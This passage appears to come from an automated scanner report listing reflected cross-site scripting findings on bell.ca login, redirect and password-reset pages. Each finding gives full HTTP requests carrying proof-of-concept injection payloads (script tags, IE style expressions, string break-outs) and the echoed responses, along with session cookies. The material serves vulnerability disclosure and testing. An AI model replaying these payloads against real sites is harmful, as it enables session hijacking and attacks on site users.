Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=PE|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=vJn2MtqJhp3rXDzJv1bQG7JHC8KPG7qQ3BkfllcN0BXkpzpD26fX!-765054306;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 15:17:20 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: gemini=region=ON|province=PE|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 18:31:27 GMT; path=/
Set-Cookie: gemini=region=ON|province=PE|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 18:31:27 GMT; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 78522


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAV_1 -->
       
       <!-- ABValue: true -->

...[SNIP]...
https://www.bell.ca/home/Home_L_Login.page?refreshLink=https://www.bell.ca/mybell/ociseclvl3_PrsMyAccts_MobilitySvcEq.page?DirectAccess=changeRatePlan&loginFailed=true&customLabel=mobile.changerateplan9fb8b" style=x:expression(alert(1)) 2139ab5285b"/>
...[SNIP]...

2.347. https://www.bell.ca/home/Home_L_login.page [refreshLink parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /home/Home_L_login.page

Issue detail

The value of the refreshLink request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4a3a"%20style%3dx%3aexpression(alert(1))%20f10ee339e5f was submitted in the refreshLink parameter. This input was echoed as c4a3a" style=x:expression(alert(1)) f10ee339e5f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /home/Home_L_login.page?regionToggle=true&languageToggle=true&INT=loginmyinternetEN&refreshLink=https%3A%2F%2Fwww.bell.ca%2Fmybell%2Fociseclvl3_PrsMyAccts_InternetSvcEq.pagec4a3a"%20style%3dx%3aexpression(alert(1))%20f10ee339e5f&province=UNKNOWN&myurl=CSQ&mobility_upgrade=false&INT=loginmyinternetEN&refreshLink=https%3A%2F%2Fwww.bell.ca%2Fmybell%2Fociseclvl3_PrsMyAccts_InternetSvcEq.page&region=NS&language=en HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: https://www.bell.ca/home/Home_L_login.page?INT=loginmyinternetEN&refreshLink=https%3A%2F%2Fwww.bell.ca%2Fmybell%2Fociseclvl3_PrsMyAccts_InternetSvcEq.page
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.bell.ca
Connection: Keep-Alive
Cookie: s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=k0b8MsLCMy42xpGvCvyWVmJNG8ryhbqYGqtbJgPG2yrDwjwh3bzn!-765054306; gemini=region=ON|province=ON|myurl=CSQ|language=en; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559101223%3B%20s_lv%3D1290557301223%7C1385165301223%3B%20s_lv_s%3DFirst%2520Visit%7C1290559101223%3B%20s_pv%3D%7C1290559101239%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253Dhttps%2525253A%2525252F%2525252Fwww.bell.ca%2525252Fhome%2525252FHome_L_login.page%2525253FINT%2525253DloginmyinternetEN%25252526refreshLink%2525253Dhttps%252525253A%252525252F%252525252Fwww.bell.ca%252525252Fmybell%252525252Fociseclvl3_PrsMyAccts_InternetSvcEq.page%252526oid%25253Dhttps%2525253A%2525252F%2525252Fwww.bell.ca%2525252Fhome%2525252FHome_L_login.page%2525253FregionToggle%2525253Dtrue%25252526languageToggle%2525253Dtrue%25252526INT%2525253Dloginmyinternet%252526ot%25253DA%252526oi%25253D656%3B; fsr.s={"v":1,"rid":"1290557305061_642285","pv":1,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":1,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A2%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276554216637188_1_0.05_0_5_1290989303641

Response

HTTP/1.1 200 OK
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CGF
Set-Cookie: gemini=region=ON|province=NS|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 02:30:26 GMT; path=/
Set-Cookie: gemini=region=ON|province=NS|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 02:30:26 GMT; path=/
Set-Cookie: gemini=region=ON|province=NS|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 02:30:26 GMT; path=/
Set-Cookie: gemini=region=ON|province=NS|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 02:30:26 GMT; path=/
Set-Cookie: gemini=region=ON|province=NS|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 02:30:26 GMT; path=/
Set-Cookie: gemini=region=ON|province=NS|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 02:30:26 GMT; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Date: Tue, 23 Nov 2010 23:16:19 GMT
Content-Length: 79117


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAV_1 -->
       
       <!-- ABValue: false -->
...[SNIP]...
<input type="hidden" name="refreshLink" value="https://www.bell.ca/mybell/ociseclvl3_PrsMyAccts_InternetSvcEq.pagec4a3a" style=x:expression(alert(1)) f10ee339e5f"/>
...[SNIP]...

2.348. https://www.bell.ca/home/Home_L_login.page [refreshLink parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   https://www.bell.ca
Path:   /home/Home_L_login.page

Issue detail

The value of the refreshLink request parameter is copied into an HTML comment. The payload b6d5d-->160c1ff4fbd was submitted in the refreshLink parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to can close the open HTML comment and return to a plain text context. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /home/Home_L_login.page?regionToggle=true&languageToggle=true&INT=loginmyinternetEN&refreshLink=https%3A%2F%2Fwww.bell.ca%2Fmybell%2Fociseclvl3_PrsMyAccts_InternetSvcEq.pageb6d5d-->160c1ff4fbd&province=UNKNOWN&myurl=CSQ&mobility_upgrade=false&INT=loginmyinternetEN&refreshLink=https%3A%2F%2Fwww.bell.ca%2Fmybell%2Fociseclvl3_PrsMyAccts_InternetSvcEq.page&region=NS&language=en HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: https://www.bell.ca/home/Home_L_login.page?INT=loginmyinternetEN&refreshLink=https%3A%2F%2Fwww.bell.ca%2Fmybell%2Fociseclvl3_PrsMyAccts_InternetSvcEq.page
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.bell.ca
Connection: Keep-Alive
Cookie: s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=k0b8MsLCMy42xpGvCvyWVmJNG8ryhbqYGqtbJgPG2yrDwjwh3bzn!-765054306; gemini=region=ON|province=ON|myurl=CSQ|language=en; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559101223%3B%20s_lv%3D1290557301223%7C1385165301223%3B%20s_lv_s%3DFirst%2520Visit%7C1290559101223%3B%20s_pv%3D%7C1290559101239%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253Dhttps%2525253A%2525252F%2525252Fwww.bell.ca%2525252Fhome%2525252FHome_L_login.page%2525253FINT%2525253DloginmyinternetEN%25252526refreshLink%2525253Dhttps%252525253A%252525252F%252525252Fwww.bell.ca%252525252Fmybell%252525252Fociseclvl3_PrsMyAccts_InternetSvcEq.page%252526oid%25253Dhttps%2525253A%2525252F%2525252Fwww.bell.ca%2525252Fhome%2525252FHome_L_login.page%2525253FregionToggle%2525253Dtrue%25252526languageToggle%2525253Dtrue%25252526INT%2525253Dloginmyinternet%252526ot%25253DA%252526oi%25253D656%3B; fsr.s={"v":1,"rid":"1290557305061_642285","pv":1,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":1,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A2%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276554216637188_1_0.05_0_5_1290989303641

Response

HTTP/1.1 200 OK
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CGF
Set-Cookie: gemini=region=ON|province=NS|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 02:30:27 GMT; path=/
Set-Cookie: gemini=region=ON|province=NS|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 02:30:27 GMT; path=/
Set-Cookie: gemini=region=ON|province=NS|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 02:30:27 GMT; path=/
Set-Cookie: gemini=region=ON|province=NS|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 02:30:27 GMT; path=/
Set-Cookie: gemini=region=ON|province=NS|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 02:30:27 GMT; path=/
Set-Cookie: gemini=region=ON|province=NS|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 02:30:27 GMT; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Date: Tue, 23 Nov 2010 23:16:19 GMT
Content-Length: 78486


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAV_1 -->
       
       <!-- ABValue: false -->
...[SNIP]...
<!--### refreshLink=https://www.bell.ca/mybell/ociseclvl3_PrsMyAccts_InternetSvcEq.pageb6d5d-->160c1ff4fbd failLink=https://www.bell.ca/home/Home_L_Login.page?refreshLink=https://www.bell.ca/mybell/ociseclvl3_PrsMyAccts_InternetSvcEq.pageb6d5d-->
...[SNIP]...

2.349. https://www.bell.ca/home/Home_L_login.page [refreshLink parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /home/Home_L_login.page

Issue detail

The value of the refreshLink request parameter is copied into the name of an HTML tag attribute. The payload c9504%20style%3dx%3aexpression(alert(1))%20a29a99a4aac9c8b8f was submitted in the refreshLink parameter. This input was echoed as c9504 style=x:expression(alert(1)) a29a99a4aac9c8b8f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /home/Home_L_login.page?regionToggle=true&languageToggle=true&INT=loginmyinternetEN&refreshLink=https%3A%2F%2Fwww.bell.ca%2Fmybell%2Fociseclvl3_PrsMyAccts_InternetSvcEq.pagec4a3a"%20style%3dx%3aexpression(alert(1))%20f10ee339e5fc9504%20style%3dx%3aexpression(alert(1))%20a29a99a4aac9c8b8f&province=UNKNOWN&myurl=CSQ&mobility_upgrade=false&INT=loginmyinternetEN&refreshLink=https%3A%2F%2Fwww.bell.ca%2Fmybell%2Fociseclvl3_PrsMyAccts_InternetSvcEq.page&region=NS&language=en&renderableItem=%2Fshow%2F9 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Cookie: __g_u=276554216637188_2_0.05_0_5_1290989303641; __g_c=w%3A1%7Cb%3A2%7Cc%3A276554216637188%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; gemini=region=ON|province=NS|myurl=CSQ|language=en; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D2%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290616970840%3B%20s_lv%3D1290615170856%7C1385223170856%3B%20s_lv_s%3DLess%2520than%25201%2520day%7C1290616970856%3B%20s_pv%3DLogin%7C1290616970856%3B; fsr.s={"v":1,"rid":"1290615173056_675296","pv":1,"to":3,"c":"https://www.bell.ca/home/Home_L_Login.page","lc":{"d1":{"v":1,"s":false}},"cd":1,"sd":1}; GEMSESSIONID=9vLPMttS67b9klWFypNpR19pphcdmntvQ1GJTW1KLBLXYDpLMz20!-1063783680; fsr.a=1290615172354; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B
Host: www.bell.ca
Connection: Keep-Alive
Cache-Control: no-cache
Accept-Language: en-US

Response

HTTP/1.1 200 OK
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Set-Cookie: gemini=region=ON|province=NS|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 18:37:11 GMT; path=/
Set-Cookie: gemini=region=ON|province=NS|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 18:37:11 GMT; path=/
Set-Cookie: gemini=region=ON|province=NS|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 18:37:11 GMT; path=/
Set-Cookie: gemini=region=ON|province=NS|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 18:37:11 GMT; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Date: Wed, 24 Nov 2010 15:23:03 GMT
Content-Length: 81971


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: ON_DMOCTS_4 -->
       
       <!-- ABValue: false -->
...[SNIP]...
<input type="hidden" name="refreshLink" value="https://www.bell.ca/mybell/ociseclvl3_PrsMyAccts_InternetSvcEq.pagec4a3a" style=x:expression(alert(1)) f10ee339e5fc9504 style=x:expression(alert(1)) a29a99a4aac9c8b8f"/>
...[SNIP]...

2.350. https://www.bell.ca/home/Home_L_login.page [refreshLink parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /home/Home_L_login.page

Issue detail

The value of the refreshLink request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9fcce"%20style%3dx%3aexpression(alert(1))%20db9e7cab95ba8769 was submitted in the refreshLink parameter. This input was echoed as 9fcce" style=x:expression(alert(1)) db9e7cab95ba8769 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /home/Home_L_login.page?regionToggle=true&languageToggle=true&INT=loginmyinternetEN&refreshLink=9fcce"%20style%3dx%3aexpression(alert(1))%20db9e7cab95ba8769&province=UNKNOWN&myurl=CSQ&mobility_upgrade=false&INT=loginmyinternetEN&refreshLink=https%3A%2F%2Fwww.bell.ca%2Fmybell%2Fociseclvl3_PrsMyAccts_InternetSvcEq.page&region=NS&language=en&renderableItem=%2Fshow%2F9 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Cookie: __g_u=276554216637188_2_0.05_0_5_1290989303641; __g_c=w%3A1%7Cb%3A2%7Cc%3A276554216637188%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; gemini=region=ON|province=NS|myurl=CSQ|language=en; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D2%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290616970840%3B%20s_lv%3D1290615170856%7C1385223170856%3B%20s_lv_s%3DLess%2520than%25201%2520day%7C1290616970856%3B%20s_pv%3DLogin%7C1290616970856%3B; fsr.s={"v":1,"rid":"1290615173056_675296","pv":1,"to":3,"c":"https://www.bell.ca/home/Home_L_Login.page","lc":{"d1":{"v":1,"s":false}},"cd":1,"sd":1}; GEMSESSIONID=9vLPMttS67b9klWFypNpR19pphcdmntvQ1GJTW1KLBLXYDpLMz20!-1063783680; fsr.a=1290615172354; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B
Host: www.bell.ca
Connection: Keep-Alive
Cache-Control: no-cache
Accept-Language: en-US

Response

HTTP/1.1 200 OK
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Set-Cookie: gemini=region=ON|province=NS|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 18:37:18 GMT; path=/
Set-Cookie: gemini=region=ON|province=NS|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 18:37:18 GMT; path=/
Set-Cookie: gemini=region=ON|province=NS|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 18:37:18 GMT; path=/
Set-Cookie: gemini=region=ON|province=NS|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 18:37:18 GMT; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Date: Wed, 24 Nov 2010 15:23:10 GMT
Content-Length: 79421


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: ON_DMOCTS_4 -->
       
       <!-- ABValue: false -->
...[SNIP]...
<input type="hidden" name="refreshLink" value="9fcce" style=x:expression(alert(1)) db9e7cab95ba8769"/>
...[SNIP]...

2.351. https://www.bell.ca/home/popups/personal/redirectAliant.jsp [locationParam parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /home/popups/personal/redirectAliant.jsp

Issue detail

The value of the locationParam request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 892e4"%3balert(1)//a9f428fc837 was submitted in the locationParam parameter. This input was echoed as 892e4";alert(1)//a9f428fc837 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /home/popups/personal/redirectAliant.jsp?locationParam=892e4"%3balert(1)//a9f428fc837 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=PE|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=vJn2MtqJhp3rXDzJv1bQG7JHC8KPG7qQ3BkfllcN0BXkpzpD26fX!-765054306;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 15:16:32 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Content-Length: 5990
Content-Type: text/html; charset=UTF-8
X-Powered-By: Servlet/2.5 JSP/2.1


<html>
<head>
<title>Veuillez prendre note</title>
<meta name="keywords" content="bell.ca" />
<meta name="description" content="bell.ca" />

...[SNIP]...
<!--
// Confirmation of the redirection to Aliant.net
function doRedirect(){
var region = "NS";
var lang = "fr";
var locationParam = "892e4";alert(1)//a9f428fc837";
var targetUrl = "http://productsandservice.aliant.net/PS/bell_punchin.jsp" + "?location=" + locationParam + "&region=" + region + "&language=" + lang;

myWi
...[SNIP]...

2.352. https://www.bell.ca/mybell/popups/personal/leaving.jsp [url parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /mybell/popups/personal/leaving.jsp

Issue detail

The value of the url request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1fb3d"><script>alert(1)</script>ef7cac21835 was submitted in the url parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mybell/popups/personal/leaving.jsp?url=1fb3d"><script>alert(1)</script>ef7cac21835 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=PE|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=vJn2MtqJhp3rXDzJv1bQG7JHC8KPG7qQ3BkfllcN0BXkpzpD26fX!-765054306;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 15:15:40 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Content-Length: 4465
Content-Type: text/html; charset=UTF-8
X-Powered-By: Servlet/2.5 JSP/2.1


<html>
<head>
<title>Please take note</title>
<meta name="keywords" content="bell.ca" />
<meta name="description" content="bell.ca" />
<meta http-equiv="Content-Type" content=
...[SNIP]...
<form name="demo" method="get" target="_blank" action="1fb3d"><script>alert(1)</script>ef7cac21835">
...[SNIP]...

2.353. https://www.bell.ca/mybell/security.portal [_pageLabel parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   https://www.bell.ca
Path:   /mybell/security.portal

Issue detail

The value of the _pageLabel request parameter is copied into an HTML comment. The payload 6c706-->6bfb95f1ef1 was submitted in the _pageLabel parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to can close the open HTML comment and return to a plain text context. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /mybell/security.portal?_nfpb=true&_windowLabel=portlet_PasswordReset_1&portlet_PasswordReset_1_actionOverride=%2Fportlets%2Foci%2Fpasswordmgmt%2Fpasswordreset%2FshowEmailForm&_pageLabel=PrsMyAccts_PwdReset6c706-->6bfb95f1ef1 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=PE|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; 